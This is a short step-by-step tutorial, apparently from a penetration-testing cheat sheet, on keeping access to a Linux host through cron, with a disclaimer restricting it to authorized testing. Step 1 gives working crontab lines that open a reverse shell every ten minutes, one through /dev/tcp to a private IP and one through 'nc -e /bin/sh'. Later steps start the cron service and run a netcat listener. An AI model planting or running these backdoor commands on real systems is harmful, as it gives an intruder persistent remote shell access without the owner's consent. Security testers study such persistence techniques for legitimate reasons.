Disclaimer: This material is provided for educational purposes and authorized security testing only. You are solely responsible for how you use the information. Do not use these techniques on systems without explicit permission from the owner. We do not encourage any kind of illegal or harmful activity

Step 1: Create the Cron Job

1. Open the crontab editor: crontab -e
2. Add the following line to create a cron job that runs every 10 minutes: */10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
3. Alternatively, use netcat for the reverse shell: */10 * * * * nc -e /bin/sh 192.168.1.21 5556
4. If you need to specify a user, add the user before the command: */10 * * * * pelle /path/to/binary

Step 2: Verify the Cron Job

1. Check if the cron service is active: service crond status
2. If the cron service is not started, start it: service crond start

Step 3: Set Up a Netcat Listener

1. On your local machine, set up a netcat listener to catch the reverse shell connection: nc -lvp 5556

Step 4: Troubleshooting and Verification

1. Verify that the cron job is running: crontab -l
2. Check the status of the cron service again if needed: service crond status pgrep cron
3. Ensure your netcat listener is ready and waiting for connections: nc -lvp 5556